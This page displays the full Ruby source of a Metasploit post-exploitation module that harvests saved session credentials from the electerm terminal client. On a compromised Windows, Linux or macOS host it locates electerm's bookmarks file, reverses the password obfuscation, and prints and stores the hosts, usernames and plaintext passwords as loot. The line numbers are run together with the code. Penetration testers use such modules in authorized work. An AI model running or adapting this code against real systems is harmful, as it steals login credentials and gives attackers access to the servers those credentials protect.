Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/electerm.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'json'5class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Gather electerm Passwords',13'Description' => %q{14This module will determine if electerm is installed on the target system and, if it is, it will try to15dump all saved session information from the target. The passwords for these saved sessions will then be decrypted16where possible.17},18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ]21],22'Author' => ['Kali-Team <kali-team[at]qq.com>'],23'Platform' => [ 'linux', 'win', 'osx', 'unix'],24'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],25'Notes' => {26'Stability' => [],27'Reliability' => [],28'SideEffects' => []29}30)31)32register_options(33[34OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']),35]36)37end3839# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js40def dec_electrm_password(enc)41result = enc.chars.map.with_index do |s, i|42((s.ord - i - 1 + 65536) % 65536).chr43end.join44return result45end4647def print_and_save(all_result)48pw_tbl = Rex::Text::Table.new(49'Header' => 'electerm Password',50'Columns' => [51'Title',52'Type',53'Host',54'Port',55'Username',56'Password',57'Description',58]59)60all_result.each do |value|61next if !value.key?('username') || !value.key?('password')6263row = []64row << value['title'] || ''65row << value.fetch('type', 'ssh')66row << value['host'] || ''67row << value['port'] || ''68row << value['username'] || ''69row << value['password'] || ''70row << value['description'] || ''71pw_tbl << row72config = {73type: value['type'],74host: value['host'],75port: value['port'],76username: value['username'],77password: value['password']78}79electerm_store_config(config)80end81if pw_tbl.rows.count > 082path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password')83print_good("Passwords stored in: #{path}")84print_good(pw_tbl.to_s)85end86end8788def electerm_store_config(config)89service_data = {90address: config[:host],91port: config[:port],92service_name: config[:type],93protocol: 'tcp',94workspace_id: myworkspace_id95}9697credential_data = {98origin_type: :session,99session_id: session_db_id,100post_reference_name: refname,101private_type: :password,102private_data: config[:password],103username: config[:username]104}.merge(service_data)105106credential_core = create_credential(credential_data)107108login_data = {109core: credential_core,110status: Metasploit::Model::Login::Status::UNTRIED111}.merge(service_data)112113create_credential_login(login_data)114end115116def parse_jsonlines(line)117result_hashmap = Hash.new118begin119result_hashmap = JSON.parse(line)120rescue ::JSON::ParserError => e121raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"122end123if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted')124result_hashmap['password'] = dec_electrm_password(result_hashmap['password'])125end126return result_hashmap127end128129def parse_json(bookmarks_path)130some_result = []131if session.platform == 'windows'132bookmarks_path.gsub!('/') { '\\' }133end134begin135if file_exist?(bookmarks_path)136nedb_data = read_file(bookmarks_path) || ''137print_error('The file could not be read') if nedb_data.empty?138nedb_data.each_line do |line|139some_result << parse_jsonlines(line)140end141credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path)142print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}")143print_status("Finished processing #{bookmarks_path}")144else145print_error("Cannot find file #{bookmarks_path}")146end147rescue StandardError => e148print_error("Error when parsing #{bookmarks_path}: #{e}")149end150return some_result151end152153def get_bookmarks_path154bookmarks_dir = ''155case session.platform156when 'windows'157app_data = get_env('AppData')158if app_data.present?159bookmarks_dir = app_data + '\electerm\users\default_user'160end161when 'linux', 'osx', 'unix'162home = get_env('HOME')163if home.present?164bookmarks_dir = home + '/.config/electerm/users/default_user'165end166end167bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')168return bookmarks_path169end170171def run172print_status('Gather electerm Passwords')173all_result = []174bookmarks_path = ''175if datastore['BOOKMARKS_FILE_PATH'].present?176bookmarks_path = datastore['BOOKMARKS_FILE_PATH']177print_status("Looking for JSON files in #{bookmarks_path}")178all_result += parse_json(bookmarks_path)179end180if bookmarks_path.empty?181bookmarks_path = get_bookmarks_path182if !bookmarks_path.blank?183result = parse_json(bookmarks_path)184if !result.empty?185all_result += result186end187end188end189print_and_save(all_result)190end191end192193194